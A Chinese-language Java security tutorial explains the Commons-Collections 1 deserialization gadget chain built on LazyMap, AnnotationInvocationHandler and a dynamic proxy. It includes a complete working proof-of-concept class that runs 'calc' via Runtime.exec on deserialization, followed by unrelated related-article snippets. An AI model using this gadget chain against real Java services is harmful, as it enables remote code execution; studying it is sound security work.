[java安全]CommonsCollections1(LazyMap)

文章目录

    • 【java安全】CommonsCollections1(LazyMap)
      • 前言
      • LazyMap
      • 如何创建`LazyMap`对象?
      • 如何调用`LazyMap`的`get()`方法?
      • 如何触发`AnnotationInvocationHandler#invoke()`方法?
      • POC
      • 总结
      • 参考

【java安全】CommonsCollections1(LazyMap)

前言

前面我们学习了cc1链使用TransformedMap构造,但是ysoserial使用的是LazyMap进行构造的,相对复杂一点

我们先复习一下:

image-20230715014441472

LazyMapTransformedMap都是在CommonsCollections模块中,我们想要测试首先需要创建maven项目,然后导入坐标

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

我们使用TransformedMap是通过触发checkSetValue()方法来触发ChainedTransformer类的transform()方法最终RCE

那么LazyMap是如何触发transform()方法呢?

LazyMap

我们查看LazyMap源码:

protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = factory;}}public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

发现get()方法可以执行factory变量的transform()方法,而factory刚好是Transformer类型

所以只要创建一个LazyMap对象,factory传入ChainedTransformer对象,只要调用了LazyMap对象的get()方法,就可以RCE了

如何创建LazyMap对象?

我们可以使用decorate()方法:

public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}

参数:

  • map参数可以传入一个空的HashMap对象
  • factory 可以传入一个ChainedTransformer对象

如何调用LazyMapget()方法?

我们之前触发 TransformedMap,是通过sun.reflect.annotation.AnnotationInvocationHandler执行setValue()触发TransformedMapcheckSetValue()函数执行transform()方法

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

那我们怎么触发TransformedMap#get()方法呢?

我们再看看sun.reflect.annotation.AnnotationInvocationHandler源码:

public Object invoke(Object var1, Method var2, Object[] var3) {...if (var4.equals("toString")) {return this.toStringImpl();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();} else if (var4.equals("annotationType")) {return this.type;} else {Object var6 = this.memberValues.get(var4);...}

这里我们注意到invoke()调用了this.memberValues变量的get()方法,而memberValues变量

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1; // var1是Annotation的子类this.memberValues = var2;}

是构造AnnotationInvocationHandler传入的第二个参数,如果我们将var2传入LazyMap对象,那么只要AnnotationInvocationHandler触发了invoke()方法,就可以调用LazyMapget()方法

如何触发AnnotationInvocationHandler#invoke()方法?

可以使用java的动态代理机制,

我们创建一个AnnotationInvocationHandler对象,第二个参数传入LazyMap对象,对Map创建一个代理:

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);

然后只要随便使用proxyMap动态代理对象调用方法,就会触发 hander变量,即AnnotationInvocationHandler对象的invoke()方法,从而调用LazyMapget()

问题又来了,怎么才能随便调用proxyMap动态代理对象的方法,并且使用readObject()反序列化的方式呢?

我们可以再次将proxyMap封装到AnnotationInvocationHandler中,因为它的readObject()方法存在函数调用:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;...Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();}

这里的this.memberValues就是proxyMap,他会调用entrySet()从而触发invoke()

POC

测试环境

  • 3.1-3.2.1 jdk版本小于u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) {//Transformer数组Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//ChainedTransformer实例Transformer chainedTransformer = new ChainedTransformer(transformers);//LazyMap实例Map uselessMap = new HashMap();Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);try {//反射获取AnnotationInvocationHandler实例Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke           Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);//序列化ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(handler1);oos.flush();oos.close();//测试反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();} catch (Exception e) {e.printStackTrace();}}}

运行代码:

image-20230716180021848

总结

讲到这里,整个一条链子算是清晰了起来:

->AnnotationInvocationHandler.readObject()->proxyMap.entrySet().iterator()  //动态代理类->AnnotationInvocationHandler.invoke()->LazyMap.get()->ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->…………

参考

CC链 1-7 分析

Java安全漫谈 - 11.反序列化篇(5)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/4986.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hadoop: High Available

序言 在Hadoop 2.X以前的版本&#xff0c;NameNode面临单点故障风险&#xff08;SPOF&#xff09;&#xff0c;也就是说&#xff0c;一旦NameNode节点挂了&#xff0c;整个集群就不可用了&#xff0c;而且需要借助辅助NameNode来手工干预重启集群&#xff0c;这将延长集群的停…

Python学习笔记-Windows下VirtualEnv+VSCode中虚拟环境配置

1 VirtualEnv简介 VirtualEnv是一个虚拟化环境&#xff0c;是独立开的开发环境&#xff0c;在一个文件夹中创建的独立虚拟环境&#xff0c;可以分隔开不同项目&#xff0c;开发互不影响。 优点如下&#xff1a; 使不同的应用开发环境独立&#xff0c;避免互相干扰环境升级不…

RxSwift 使用方式

背景 最近项目业务&#xff0c;所有模块已经支持Swift混编开发&#xff0c;正在逐步使用Swift 方式进行开发新业务&#xff0c;以及逐步替换老业务方式进行发展&#xff0c;所以使用一些较为成熟的Swift 的三方库&#xff0c;成为必要性&#xff0c;经过调研发现RxSwift 在使用…

lvs使用

1.前言 LVS&#xff08;Linux Virtual Server&#xff09;是一个基于 Linux 内核的负载均衡器&#xff0c;用于分发网络流量和将请求转发给后端服务器。LVS 提供了多种负载均衡算法和转发模式&#xff0c;以满足不同场景和需求的负载均衡需求&#xff0c;在LVS中定义虚拟服务的…

制作Visual Studio离线安装包

vs2015之后官网就不提供离线安装包了&#xff0c;使用离线安装包就需要自己手动制作一个&#xff1b; 以vs2019为例&#xff1a; 先去官网下载在线安装器 官网下载地址&#xff1a;Visual Studio 较旧的下载 - 2019、2017、2015 和以前的版本 (microsoft.com) 展开2019的标签…

【C语言】深剖数据在内存中的存储

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前正在回炉重造C语言&#xff08;2023暑假&#xff09; ✈️专栏&#xff1a;【C语言航路】 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你…

初识react

初识react 第一步就给我出个问题版本太低 https://www.cnblogs.com/gslgb/p/16585233.html https://blog.csdn.net/xiangshiyufengzhong/article/details/124193898 第二个问题 便利生成dom 需要绑定key 不要总想着加冒号这不是vue 第三个问题 我p标签包裹 MapList组件 MapLis…

Redis相关配置(3)

⭐ 作者简介&#xff1a;码上言 ⭐ 代表教程&#xff1a;Spring Boot vue-element 开发个人博客项目实战教程 ⭐专栏内容&#xff1a;个人博客系统 ⭐我的文档网站&#xff1a;http://xyhwh-nav.cn/ 文章目录 Redis相关配置1、units2、Include3、loadmodule 加载模块4、NET…

创意网页模板免费下载,让你的网站与众不同!

今天给大家带来的网站模板素材&#xff0c;网站类型丰富&#xff0c;包含户外旅行、餐饮、个人网站等等&#xff0c;可以学习和参考其中的布局排版和配色。 ⬇⬇⬇点击获取更多设计资源 https://js.design/community?categorydesign&sourcecsdn&planbbqcsdn772 1、设…

【1++的C++初阶】之vector

&#x1f44d;作者主页&#xff1a;进击的1 &#x1f929; 专栏链接&#xff1a;【1的C初阶】 文章目录 一&#xff0c;什么是vector?二&#xff0c;构造与析构三&#xff0c;vector迭代器的实现四&#xff0c;vector部分重要接口的实现 一&#xff0c;什么是vector? vector…

使用NVIDIA FX Composer验证多纹理合成效果

最近项目上有一个需求&#xff0c;需要将4张带透明通道纹理合成为一张&#xff0c;并且每张纹理指定一个全局透明度。由于纹理过多&#xff0c;合成效果无法保证&#xff0c;为了减少项目的风险&#xff0c;领导希望我先快速验证一下我们讨论的方法是否能完成项目的要求。因此我…

销售易的12年与七个瞬间

导读&#xff1a;企业级没有捷径 12年对一家企业意味着什么&#xff1f; 在消费互联网领域&#xff0c;12年足够长&#xff0c;短短几年内上市的故事过去屡见不鲜。在企业服务的toB领域&#xff0c;产业成熟和企业发展的时间维度被拉长&#xff0c;但故事同样精彩。 2023年7月1…

ylb-接口5产品详情

总览&#xff1a; 1、service处理&#xff08;根据产品id &#xff0c;查询产品信息&#xff09; 在api模块下service包&#xff0c;ProductService接口添加新方法&#xff08;根据产品id &#xff0c;查询产品信息queryById(Integer id)&#xff09;&#xff1a; package …

Python venv 和 virtualenv 虚拟环境的基本使用

1.前言 venv 和 virtualenv 都是搭建虚拟环境的工具&#xff0c;virtualenv 是第三方开源的&#xff0c;而 venv 作为 virtualenv 的一个子集自 Python3.3 开始集成到标准库中&#xff0c;在 virtualenv 的文档中可以看到他们的区别&#xff1a; 没有 app-data 种子方法&#…

Python爬虫——urllib_post请求百度翻译

post请求&#xff1a; post的请求参数&#xff0c;是不会拼接在url后面的&#xff0c;而是需要放在请求对象定制的参数中 post请求的参数需要进行两次编码&#xff0c;第一次urlencode&#xff1a;对字典参数进行Unicode编码转成字符串&#xff0c;第二次encode&#xff1a;将字…

isaac sim添加孔网格

isaac sim仿真和其它仿真实际上一样&#xff0c;对于孔的仿真&#xff0c;是没那么简单的 在此记录一下踩过的坑 1&#xff0c;首先&#xff0c;你需要在soildworks中将你的孔画出来&#xff0c;并导出stl 2&#xff0c;你可以在win10中使用3D画图查看孔的网格&#xff0c;看…

【css】用css样式快速写右上角badge徽标,颜色设置为渐变色

先看效果展示&#xff0c;已公开显示在图片卡片的右上角。 首先是dom代码&#xff1a;需要两个view或者div&#xff0c;public-badge是“已公开”那个矩形&#xff0c;show-signal是右边那个下三角&#xff0c;也就是阴影部分&#xff0c;这样看起来比较有立体感。 <view…

虚拟化技术及实时虚拟化概述

版权声明&#xff1a;本文为本文为博主原创文章&#xff0c;未经本人同意&#xff0c;禁止转载。如有问题&#xff0c;欢迎指正。博客地址&#xff1a;https://www.cnblogs.com/wsg1100/ 文章目录 一、前言二、分时系统三、虚拟化介绍四、虚拟化实现方式及分类模拟器Type2虚拟化…

欧姆龙PLC联网

一、设备信息确认 左上角的为PLC型号,如图该PLC型号为CP1H,不同型号的欧姆龙PLC通讯方面有什么差别呢? 通讯能力和方式不同: 有些型号PLC自带网口,有些则需要扩展(上图中右侧的两个红框内为后扩展的通讯口,扩展模块可以随意组合双网口,双232串口,双485串口都可以)…

JDBC编程连接MySQL数据库遇到的两个错误

在进行java与MySQL数据库进行连接的时候我遇到了两个报错&#xff0c;在一开始的时候遇到的报错是Access denied for user yulinlocalhost (using password: YES)&#xff0c;此时我在网络上搜索发现是密码出现错误的问题&#xff08;出现该问题确实是密码错误&#xff09;&…